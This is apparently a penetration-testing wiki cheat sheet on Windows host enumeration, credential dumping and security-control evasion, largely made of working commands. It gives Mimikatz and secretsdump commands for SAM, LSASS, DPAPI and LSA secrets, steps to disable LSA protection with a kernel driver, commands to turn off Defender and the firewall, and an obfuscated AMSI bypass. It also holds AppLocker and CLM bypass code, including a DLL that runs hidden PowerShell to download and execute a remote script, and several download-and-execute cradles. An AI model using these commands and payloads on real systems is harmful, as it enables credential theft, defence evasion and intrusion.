Constrained Language Mode is a security feature designed to restrict the capabilities of PowerShell scripts, making them more secure and less prone to exploitation. When Constrained Language Mode is enabled, PowerShell restricts the use of certain language elements and cmdlets to help prevent potential malicious activities.

```powershell
$ExecutionContext.SessionState.LanguageMode
# If enabled it wouldn't work
[Math]::Cos(1)
[System.Console]::WriteLine("ConstrainedModeTest")
```

To bypass this countermeasure go to [Countermeasure Evasion - ](/situational_awareness/windows/countermeasure-evasion#amsi)[CLM](/situational_awareness/windows/countermeasure-evasion#constrained-language-enabled-clm)

## AMSI

AMSI stands for Antimalware Scan Interface, and it is a security feature in Windows designed to help protect against script-based malware.

There are several ways to check if AMSI is enabled:

```powershell
# Alternative 1
'amsiutils'
'amsicontext'
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
'Invoke-Mimikatz'

# Alternative 2
set-content .\ADS_Test.txt:EICAR 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
```

To bypass this countermeasure go to [Countermeasure Evasion - AMSI](/situational_awareness/windows/countermeasure-evasion#amsi)

## AppLocker

AppLocker is a security feature in Windows operating systems that allows administrators to control which applications and executable files are allowed to run on a system. It provides a way to define and enforce application whitelisting policies, helping organizations enhance their security by preventing the execution of unauthorized or potentially malicious software.

You can check if AppLocker is enabled with the following command.

```powershell
ApGet-Service -Name "AppIDSvc" | Select-Object -ExpandProperty Status
```

Obtain AppLocker rules:

```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionTypes| Format-List| Out-String
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-ExecutionPolicy -List | Format-Table -AutoSize
```

To bypass this countermeasure go to [Countermeasure Evasion - AppLocker](/situational_awareness/windows/countermeasure-evasion#applocker).

## Files Enumeration

### **PowerShell History**

```powershell
type c:\\Users\\<USER>\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt
```

### **Disks**

There are several ways to obtain the mounted disks on the system.

```powershell
# CMD
list volume
# PowerShell
c:\Users>powershell -c get-psdrive -psprovider filesystem

Name           Used (GB)     Free (GB) Provider      Root  CurrentLocation
----           ---------     --------- --------      ----  ---------------
C                  19,69          9,70 FileSystem    C:\   Users
W                   2,52         17,48 FileSystem    W:\
```

### **Alternate Data Streams**

Alternate Data Streams (ADS) are a file attribute only found on the NTFS file system. In this system, a file is built up from a couple of attributes, one of them is `$Data`, also known as the data attribute. Looking at the regular data stream of a text file there is no mystery. It simply contains the text inside the text file. But that is only the primary data stream.

This one is sometimes referred to as the unnamed data stream since the name string of this attribute is empty ( "" ). So any data stream that has a name is considered an alternate.

Find Data Alternate Streams in a directory.

```
dir /r
```

If you want to search a directory or drive for ADS you can use this command in the root of the target:

```powershell
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
```

Adding data to an alternate data stream.

```powershell
echo payaso | set-content -path .\prueba.txt -stream hidden
echo pepe | prueba.txt:pepe
```

Read Alternate Data Streams.

```powershell
gc -path .\prueba.txt -stream hidden
more < prueba.txt:hidden
```

### Permissions

Windows permission terminology can be quite challenging to understand. In this subsection, you will find how to obtain the attributes and their meaning.

```bash
# Directory permissions
Get-acl C:\backup\Scripts\* | Format-Table -Wrap -Autosize 
# Directory / File permissions
icacls "<Path>"
```

#### Simple Rights

| Mask | Permission              |
| :--: | ----------------------- |
|   F  | Full access             |
|   M  | Modify access           |
|  RX  | Read and execute access |
|   R  | Read-only access        |
|   W  | Write-only access       |

#### Specific Rights

| Mask | Permission                     |
| :--: | ------------------------------ |
|   D  | Delete                         |
|  RC  | Read control                   |
| WDAC | Write DAC                      |
|  WO  | Write Owner                    |
|   S  | Synchronize                    |
|  AS  | Access System security         |
|  MA  | Maximum Allowed                |
|  GR  | Generic Read                   |
|  GW  | Generic Write                  |
|  GE  | Generic Execute                |
|  GA  | Generic All                    |
|  RD  | Read Data / List Directory     |
|  WD  | Write Data / Add File          |
|  AD  | Append Data / Add subdirectory |
|  REA | Read Extended Attributes       |
|  WEA | Writer Extended Attributes     |
|   X  | Execute                        |
|  DC  | Delete Child                   |
|  RA  | Read Attributes                |
|  WA  | Write Attributes               |

#### Inheritance righsts (Applied only to directories)

| Mask | Permission                                 |
| :--: | ------------------------------------------ |
|  OI  | Object Inherit                             |
|  CI  | Container Inherit                          |
|  IO  | Inherit Only                               |
|  NP  | Do not propagate inherit                   |
|   I  | Permission inherited from parent container |

#### Service rights

The first letter represents Allow (A) the opposite of Deny which would be represented by a (D).

| Mask | Permission                    | Meaning                                                |
| ---- | ----------------------------- | ------------------------------------------------------ |
| CC   | SERVICE QUERY CONFIG          | Ask the SCM for the service’s current configuration    |
| LC   | SERVICE QUERY STATUS          | Ask the SCM for the service’s current status           |
| SW   | SERVICE ENUMERATE DEPENDENTS  | List dependent services                                |
| LO   | SERVICE INTERROGATE           | Ask the service its current status                     |
| CR   | SERVICE USER\_DEFINED CONTROL | Send a service control defined by the service’s author |
| RC   | READ CONTROL                  | Read the security descriptor on this service.          |
| RP   | SERVICE START                 | Start the service                                      |
| WP   | Service stop                  | Stop the service                                       |
| DT   | Service Pause continue        | Pause or continue the service                          |

## List Installed HotFixes

List all installed patches on the system.

```powershell
Get-Hotfix
```

## Running processes

```bash
tasklist
```

## Scheduled Tasks

List/enumerate all the scheduled tasks present on the system.

```bash
(Get-ScheduledTask [-TaskName '<TASK_NAME>']).Actions
# List scheduled tasks under Users folder
Get-ScheduledTask -TaskPath "\Users\*"
# List specific information on specified Tasks
Get-ScheduledTaskInfo -TaskName <Full Path> 
```


# Dumping Credentials

Dumping Windows credentials is a common technique used to assess the security posture of a network. It involves extracting sensitive information like usernames and passwords, which can be a goldmine for attackers if addressed.

This section explores some of the key methods employed during penetration testing to dump Windows credentials.

## Mimikatz

Once you are the administrator on a Windows system, you can retrieve NTLM hashes of the system accounts with [Mimikatz](https://github.com/gentilkiwi/mimikatz/files/4167347/mimikatz_trunk.zip).

:information\_source: Most of the following commands will require to add `"privilege::debug" "token::elevate"`to become NT-AUTHORITY\SYSTEM from Administrator, unless you already are NT-AUTHORITY\SYSTEM.

The use of mimikatz is as follows:

```
module::command <patarmeter>
```

## SAM (Local Windows credentials) - Local

> ℹ️ SYSTEM (or local administrator) permissions

Local Windows credentials are stored in the *Security Account Manager* (SAM) database[1](https://portal.offsec.com/courses/pen-300/books-and-videos/modal/modules/windows-credentials/local-windows-credentials/sam-database#fn1) as password hashes using the NTLM hashing format.

There are several alternatives to obtain the SAM database **using a cmd.exe prompt with high privileges**

```bash
"privilege::debug" "token::elevate" "lsadump::sam" "exit"
```

In case you can't obtain SAM credentials, it might be because the SAM and SYSTEM are mounted, but there are several workarounds to obtain them.

### **Obtain SAM & SYSTEM (ShadowCopy)**

1. Create a shadow copy.

```bash
wmic shadowcopy call create Volume='C:\'
```

2. List the shadow copies  to check that has been performed successfully.

```bash
vssadmin list shadows
[...]
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[...]
```

3. Copy the files to your folder

```bash
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\Windows\Tasks\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\Windows\Tasks\system
```

### **Obtain SAM & SYSTEM (Windows Registry)**

The SAM and SYSTEM files can be obtained from the Windows Registry.

```bash
reg save HKLM\sam C:\Windows\Tasks\sam
reg save HKLM\system C:\Windows\Tasks\system
```

### **Decrypt SAM with SYSTEM creds**

Once you have obtained the SAM and SYSTEM files, you can use creddump7 or Mimikatz to obtains the machine's credentials.

* [**Creddump7**](https://github.com/CiscoCXSecurity/creddump7)

```bash
pip2.7 install pycryptodome
git clone https://github.com/Neohapsis/creddump7
python2.7 creddump7/pwdump.py system sam
```

* **Mimikatz**

```bash
"lsadump::sam /system:.\system /sam:.\sam" "exit"
```

* **Secretdumps (Local)**

```bash
secretsdump.py -sam SAM -system SYSTEM [-SECURITY SECURITY] local
```

## Local Administrator Password Solution (LAPS)

LAPS addresses the security challenge of managing local administrator account passwords by automatically and regularly rotating them. This helps to minimize the risk associated with using static or shared passwords across multiple systems.

LAPS introduces two new attributes for the computer object into Active Directory. The first is ***ms-mcs-AdmPwdExpirationTime***, which **registers the expiration time of a password** as directed through a group policy. The second is ***ms-mcs-AdmPwd***, which contains **the clear text password of the local administrator account**.

There are several ways to detect if LAPS is enabled on the domain or the current machine you have to:

* **Local:** Check if the following files exists.

```powershell
Get-ChildItem "$env:ProgramFiles\LAPS\CSE\Admpwd.dll"
Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'
```

* **Domain**:

```powershell
# Alternative 1
(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/powerview.ps1') | IEX
get-netcomputer -Filter "(ms-mcs-admpwdexpirationtime=*)" | select dnshostname
​
# Alternative 2
(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/LAPSToolkit.ps1') | IEX;  Find-LAPSDelegatedGroups
```

There are several alternatives to obtain the LAPS password.

### **Alternative 1 - LAPSToolkit**

```powershell
(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/powerview.ps1') | IEX
(New-Object System.Net.WebClient).DownloadString('http://<YOUR_IP>/LAPSToolkit.ps1') | IEX; 
# List all computers that are set up with LAPS and display the hostname, the clear text password, and the expiration time
Get-LAPSComputers
```

### **Alternative 2 - Get-ADObject**

```powershell
(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1') | IEX
Get-ADObject -Name <COMPUTER_NAME> -DomainController <DC_IP> -Properties ms-mcs-admpwd
```

### **Alternative 3 - Metasploit**

> :information\_source: You must be NT AUTHORITY/ SYSTEM

```bash
use post/windows/gather/credentials/enum_laps
set session 1
exploit
```

### **Alternative 4 - Get-LAPSPasswords**

```bash
(New-Object System.Net.WebClient).DownloadString('http://<YOUR_IP>/Get-LAPSPasswords.ps1') | IEX;
Get-LAPSPasswords -DomainController <DC> -Credential <DOMAIN>\administrator
```

## Local Security Authority Subsystem Service (LSASS)

LAPS addresses the security challenge of managing local administrator account passwords by automatically and regularly rotating them. This helps to minimize the risk associated with using static or shared passwords across multiple systems.

Extracting credentials from the memory of processes that handle user logon sessions.

```powershell
"privilege::debug" "token::elevate" "sekurlsa::logonPasswords" "lsadump::secrets" "exit"
```

### **Local Security Authority (LSA) Protection Evasion**

Check if it is **PPL protection** is enabled:

```powershell
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
```

To disable PPL protection protection we need to parch the kernel adding a new driver with the file `mimidrv.sys` and then disable PPL protection.

However, there are three approaches:

#### **mimidrv.sys - Mimikatz.exe**

Upload `mimidrv.sys` and `mimikatz.exe` on the same folder, so Mimikatz can find the file and create the service.

#### **mimidrv.sys - Invoke-Mimikatz**

Sadly Invoke-Mimikatz doesn't look for the file `mimidrv.sys` so we need to execute the service by ourselfs. To do so, we need to upload `mimidrv.sys` to folder that the system can access and then:

```bash
cmd /c 'sc create mimidrv binPath= C:\Windows\Tasks\mimidrv.sys type= kernel start= demand'
cmd /c 'sc start mimidrv'
```

#### **Disable PPL**

This command does:

1. Become "NT AUTHORITY / SYSTEM" to load the driver
2. Loads `minidrv.sys`
3. Disable the PPL protection for LSASS
4. Dump cached credentials
5. Dump secrets from the registry

```bash
"privilege::debug" "token::elevate" "!+" "!processprotect /process:lsass.exe /remove"  "sekurlsa::logonpasswords" "lsadump::secrets"  "sekurlsa::dpapi" "exit"
```

**PPLKiller**

This is a different alternative so you do not have to use mimikatz to load the kernel driver.

1. Open [PPLKiller.sln](https://github.com/RedCursorSecurityConsulting/PPLKiller) with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe
2. Install the driver `PPLKiller.exe /installDriver` first to install the driver
3. Disable the protection `PPLKiller.exe /disableLSAProtection`
4. Obtain the information.

```bash
"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::secrets"  "sekurlsa::dpapi" "exit"
```

### **Dumping LSASS process memory**

Because the memory of LSASS process might contain plaintext credentials NTLM hashes or Kerberos tickets. Thus, it is useful to dump its memory for an offline processing. This can be achieved in two different ways:

* GUI Alternative:

1. Open Task Manager and go to "Details" tab
2. Look for "lsass.exe" process
3. Right click "Create Dump File"

* CLI:

As **Authority system**, execute the following command:

```
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
```

Finally, extract logon passwords:

```
.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
```

## Data Protection API (DPAPI)

The Data Protection API (DPAPI) is a feature in Windows operating systems that provides a way to encrypt and decrypt sensitive data by using the user or machine credentials as a key. It is designed to help developers protect user data by providing a simple yet effective way to encrypt and decrypt data.

DPAPI is commonly used by applications to protect user data, such as web browsers to store user passwords, email clients to store user credentials, and other applications that store sensitive information.

The way the Windows Credential Manager works is a bit confusing at first - if you read up on the subject, you'll find both the terms "Vaults" and "Credentials". A "vault" essentially holds records of encrypted credentials and a reference to the encrypted blobs. Windows has two vaults: Web Credentials (for storing browser credentials) and Windows Credentials (for storing credentials saved by mstsc, etc). A "credential" is the actual encrypted credential blob.

The credentials are usually stored at `C:\Users\<USER>\AppData\Local\Microsoft\Credentials`.

### Enumerate

There are several ways to list the vaults.

* **VaultCMD**

```bash
vaultcmd /list
vaultcmd /listcreds:"<VAULT>" /all
```

* **Seatbelt**

```bash
# Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
.\Seatbelt.exe WindowsVault 

# Windows credential DPAPI blobs
.\Seatbelt.exe WindowsCredentialFiles
====== WindowsCredentialFiles ======

  Folder : C:\Users\User\AppData\Local\Microsoft\Credentials\

    FileName     : 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
    Description  : Local Credential Data
    MasterKey    : bfc5090d-22fe-4058-8953-47f6882f549e
    
# List DPAPI master keys
.\Seatbelt.exe DpapiMasterKeys
Folder : C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104 
LastAccessed  Last codified  FileName
============  =============  ====================================
1/16/2023     5:56:24 PM     487e7db0-f4fh-4301-8248-c225d49c5ah7 
1/16/2023     5:56:35 PM     bfc5090d-22fe-4058-8953-47f6882f549e 

[*] Use the Mimikatz "dpapi::masterkey" module with appropriate arguments (/pvk or /rpc) to decrypt [*] You can also extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module [*] You can also use SharpDPAPI for masterkey retrieval 
```

### Obtaining the keys

> :information\_source: You must be local admin on the machine where the key is cached. Learn more about mimikatz DPAPI [here](https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi).

```bash
.\mimikatz.exe !sekurlsa::dpapi

#  This will only work if executed in the context of the user who owns the key.  If your Beacon is running as another user or SYSTEM, you must  impersonate the target user somehow first, then execute the command  using the `@` modifier.
mimikatz dpapi::masterkey /rpc /in:C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<FOLDER>\<MASTER_KEY> 
```

### Vaul decryption

```bash
"dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\<VAULT_FILENAME> /masterkey:<MASTERKEY>" "exit"
```

## Scheduled Tasks Credentials

Inside some scheduled tasks might be user credentials stored at `C:\Window\system32\config\systemprofile\AppData\Local\Microsoft\Credentials`.

These credentials can be decrypt with the following commands:

1\. Obtining the GUID master key

```powershell
.\mimikatz.exe "dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\<FILE_NAME>"
```

2\. Dump the creds

```powershell
.\mimikatz.exe "privilege::debug" "token::elevate" "!sekurlsa::dpapi" "exit"
```

3\. Decrypt the credentials

```powershell
.\mimikatz.exe dpapi::cred /in:C:\Windows\System32\config\syst
```

## Kerberos Encryption Keys

> :information\_source: There is a [known issue](https://github.com/gentilkiwi/mimikatz/issues/314) where Mimikatz may incorrectly label all of the hashes as `des_cbc_md4`.

```bash
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::ekeys"'

.\SafetyKatz.exe "sekurlsa::ekeys"
```

## WDigest Authentication

When the WDigest Authentication protocol is enabled, plain text passwords are stored in the Local Security Authority Subsystem Service (LSASS) exposing them to the pentester.

```bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
.\mimikatz.exe "sekurlsa::wdigest"
```

## Dumping secrets

Originally, the LSA secrets contained cached domain records. Later, Windows developers expanded the application area for storage. At this moment, they can store PC users' text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords, SYSTEM account passwords, private user data like EFS encryption keys, and a lot more. For example, the *NL$KM* secret contains the cached domain password encryption key.

> :information\_source:The user **backup** could retrieve important information about the domain.

{% tabs %}
{% tab title="Mimikatz" %}

```bash
.\mimikatz.exe "token::elevate" "lsadump::secrets" "exit"
```

{% endtab %}

{% tab title="Impacket" %}

```bash
secretsdump [-just-dc] <DOMAIN>/<USERNAME>:'<PASSWORD'@<DC>
```

{% endtab %}
{% endtabs %}

### VPN credentials

It might be the case that you have compromised a computer that contains VPN profiles with a Pre-Shared Key and stored user credentials.&#x20;

The general information of the VPN like the domain or IP address, will be found in:

```powershell
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Network\Connections\Pbk\rasphone.pbk
```

In order to dump the information, you need to dump the `lsadump::secrets` looking for the secret "L$\_RasConnectionCredentials".

```powershell
"privilege::debug" "token::elevate"  "lsadump::secrets" "exit"
[...]
Secret  : L$_RasConnectionCredentials#0
cur/hex : 30 00 00 00 00 00 05 00 30 80 ab 62 21 85 f3 42 8a 33 26 87 51 46 82 20 0e 00 00 00 73 00 65 00 63 00 72 00 65 00 74 00 00 00 00 00 00 00 00 00 48 00 00 00 00 00 05 00 b5 b0 fe 50 59 98 6d 49 8f 31 4e 4c 77 24 4f 5a 28 00 00 00 79 00 6f 00 75 00 72 00 5f 00 70 00 72 00 65 00 5f 00 73 00 68 00 61 00 72 00 65 00 64 00 5f 00 6b 00 65 00 79 00 00 00 00 00 00 00 50 00 00 00 00 00 05 00 d4 dd fb 7c b6 f3 49 47 99 52 56 e9 ef 91 76 41 2a 00 00 00 76 00 70 00 6e 00 5f 00 31 00 5f 00 70 00 72 00 65 00 2d 00 73 00 68 00 61 00 72 00 65 00 64 00 5f 00 6b 00 65 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 00 00 00 05 00 5a 39 4b 1f 87 b1 0a 4e aa ad c0 56 3a 3d c1 91 2a 00 00 00 76 00 70 00 6e 00 5f 00 32 00 5f 00 70 00 72 00 65 00 2d 00 73 00 68 00 61 00 72 00 65 00 64 00 5f 00 6b 00 65 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00
```

After decoding the values from HEX, the Pre-Shared keys will appear as follows, with **three** "NULL" bytes at the beginning and end of the password.

<figure><img src="/files/0f0BCggJhTynFtnBuqnF" alt=""><figcaption></figcaption></figure>

Then, if the user has stored the credentials, they will appear under the secret "RasDialParams!S-1-5-21-...".

> :information\_source:  You need to use the latests versions of Mimikatz or will only appear as `cur/text: <ID>`

<figure><img src="/files/XUWmpGjlQP3decvVo8iA" alt=""><figcaption></figcaption></figure>

## DSync

Performs a DSync process, obtaining the Kerberos `krbtgt` keys, domain secrets, etc.

> :information\_source: This attack requires Domain Admin Privileges

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DOMAIN>\krbtgt"
```

## Browser Credentials

Some credentials might be stored on the victim's browser. These credentials can be found stored in any of the following paths:

```bash
Appdata\\Roaming\\Mozilla\\Firefox\\Profiles\\
AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\\
AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\\
```

If any of those paths exists, they might be stored credentials on the browser.

## References

* [Mimikatz Wiki](https://tools.thehacker.recipes/mimikatz)


# Countermeasure Evasion

This section contains several techniques to bypass or defeat security controls, safeguards, or defensive mechanisms put in place by an organization to protect its systems and data.

## Disable AV & Firewall

```powershell
# Alternative 1
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true

# Alternative 2
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All


Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```

## Antimalware Scan Interface (AMSI)

The Antimalware Scan Interface (AMSI) is a security feature in Windows operating systems that provides a standardized interface for antivirus and other security applications to integrate with scripting engines and applications.

To disable AMSI on PowerShell you can execute any of the following alternatives.

```powershell
# Alternative 1
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

# Alternative 2
(([Ref].Assembly.gettypes() | ? {$_.Name -like "Amsi*utils"}).GetFields("NonPublic,Static") | ? {$_.Name -like "amsiInit*ailed"}).SetValue($null,$true)
```

## Constrained Language Enabled (CLM)

Constrained Language Mode is a security feature designed to restrict the capabilities of PowerShell scripts, making them more secure and less prone to exploitation. When Constrained Language Mode is enabled, PowerShell restricts the use of certain language elements and cmdlets to help prevent potential malicious activities.

There are several alternatives to obtain a PowerShell process with a new [RunSpace](https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/creating-runspaces?view=powershell-7.4).

### Alternative 1 - Metasploit

> :warning:If powershell\_shell dies, it is quite likely that the whole meterpreter reverse shell will die.

```bash
meterpreter> load powershell
meterpreter> powershell_shell
```

### Alternative 2 - Csharp

```csharp
// Console APP (.NET Framework)
using System;
// right-click the References folder in the Solution Explorer and select Add Reference
// Click on Assemblies menu (left-hand side) and look for System.Configuration.Install
using System.Configuration.Install;
// right-click the References folder in the Solution Explorer and select Add Reference
// select the Browse… button at the bottom of the window and navigate to
// C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            String cmd = "(New-Object System.Net.WebClient).DownloadString('http://<YOUR_IP>/shell.ps1') | IEX";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

## AppLocker

There are several ways to bypass AppLocker.

### **Allowed store directories**

> :information\_source: ​ The directories where we have write access doesn't mean that with AppLocker enable we can execute them.

```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```

### Alternative 1 - InstallUtil

1. Compile the following CSharp code in Visual Studio as `clm.exe`.

```csharp
// Console APP (.NET Framework)
using System;
// right-click the References folder in the Solution Explorer and select Add Reference
// Click on Assemblies menu (left-hand side) and look for System.Configuration.Install
using System.Configuration.Install;
// right-click the References folder in the Solution Explorer and select Add Reference
// select the Browse… button at the bottom of the window and navigate to
// C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            // the Main method is not part of the application whitelisting, it can be used for other puposes, like bypassing AVs
            Console.WriteLine("Totatlly useless");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            <YOUR_MALICIOUS_CHSARP_CODE>
        }
    }
}
```

2. Use `installutil.exe` to execute `clm.exe` so the `Uninstall` method is executed.

```bash
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\Windows\\Tasks\\clm.exe
```

### Alternative 2 - **MSBuild**

1. Create the file `build.xml`.

```markup
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.IO" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello From Fragment");
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[
            <YOUR_MALICIOUS_CHSARP_CODE>         
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

2. Build and execute the malicious payload.

```bash
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe  C:\\Windows\\Tasks\\build.xml
```

### Alternative 3 - DLL Bypass

#### PowerShell - CLM

1. Create the file `met.dll`.

```csharp
//#include "pch.h"
#include <windows.h>

// Reference:
// https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
// https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-entry-point-function
// https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

BOOL APIENTRY DllMain(
    HMODULE hModule, // handle to DLL module (same as HINSTANCE)
    DWORD fdwReason, // reason for calling function
    LPVOID lpReserved // reserved
) {

    STARTUPINFOA si = {
      sizeof(STARTUPINFOA)
    };
    PROCESS_INFORMATION pi;
    LPCSTR appCalc = "C:\\Windows\\System32\\calc.exe";

    // Perform actions based on the reason for calling
    switch (fdwReason) {

    case DLL_PROCESS_ATTACH:

        // A process loads the DLL (initialize once for each new process)
        // Return FALSE to fail DLL load

        // Start a "calc.exe" child process 
//        if (!CreateProcessA(appCalc, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
//            MessageBox(NULL, TEXT("CreateProcessA() failed\n") + GetLastError(), TEXT("Error"), MB_OK | MB_ICONINFORMATION);
//            return FALSE;
//        }

//        MessageBox(NULL, TEXT("Hello, DLL is attached"), TEXT("Hi!"), MB_OK | MB_ICONINFORMATION);
        return TRUE;

    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization
        break;

    case DLL_THREAD_DETACH:
        // Thread exits normally
        // Do thread-specific cleanup
        break;

    case DLL_PROCESS_DETACH:
        // A process unloads the DLL
        // Perform any necessary cleanup
        break;

    }
    return TRUE; // Successful DLL_PROCESS_ATTACH
}

// Export function
//extern "C"
__declspec(dllexport) void psh() {

 //   MessageBox(NULL, TEXT("Hello from a DLL exported function"), TEXT("Hi!"), MB_OK | MB_ICONINFORMATION);

    STARTUPINFOA si = {
      sizeof(STARTUPINFOA)
    };
    PROCESS_INFORMATION pi;
    LPCSTR appCmd = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -w hidden -nop -c IEX(new-object system.net.webclient).downloadstring('http://10.10.10.4/run.txt')";

    // Start a "cmd.exe" child process 
//    if (!CreateProcessA(appCmd, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
    if (!CreateProcessA(NULL, appCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        MessageBox(NULL, TEXT("CreateProcessA() failed\n") + GetLastError(), TEXT("Error"), MB_OK | MB_ICONINFORMATION);
    }

}
```

2. Compile the DLL.

<pre class="language-bash"><code class="lang-bash"><strong>kali@kali:$ x86_64-w64-mingw32-gcc metpsh.c -shared -o metpsh.dll
</strong></code></pre>

3. Execute the DLL.

```bash
C:\Windows\Tasks> rundll32 testdll3.dll,psh
```

## Powershell Proxy Evasion

Proxy servers are commonly employed in networks to monitor and control internet traffic, and they may inspect and filter PowerShell-related activities. Attackers, however, may employ various evasion techniques to circumvent these security measures.

```powershell
$wc = new-object system.net.WebClient; $wc.proxy = $null; $wc.DownloadString("http:/<YOUR_IP>/shell.ps1")
```

Other cradles:

* [DownloadCradles.ps1](https://gist.github.com/HarmJ0y/bb48307ffa663256e239)
* [Payload-Download-Cradles](https://github.com/VirtualAlllocEx/Payload-Download-Cradles)

## Just Enough Administration (JEA)

Just Enough Administration (JEA) is a security feature in Windows Server that allows administrators to delegate specific administrative tasks to users, limiting their permissions to only what is necessary for those tasks. JEA helps organizations enhance security by reducing the risk associated with providing broad administrative access.

A simple JEA bypass is by creating a new function and calling it.

```powershell
function CommandName { whoami | out-host }
```


# Active Directory

## Introduction

Once the attacker has obtained a foothold on a computer inside an Active Directory network, its design must be understood, including the number of users, groups, computers, OUs, ACLs, and their relationships.

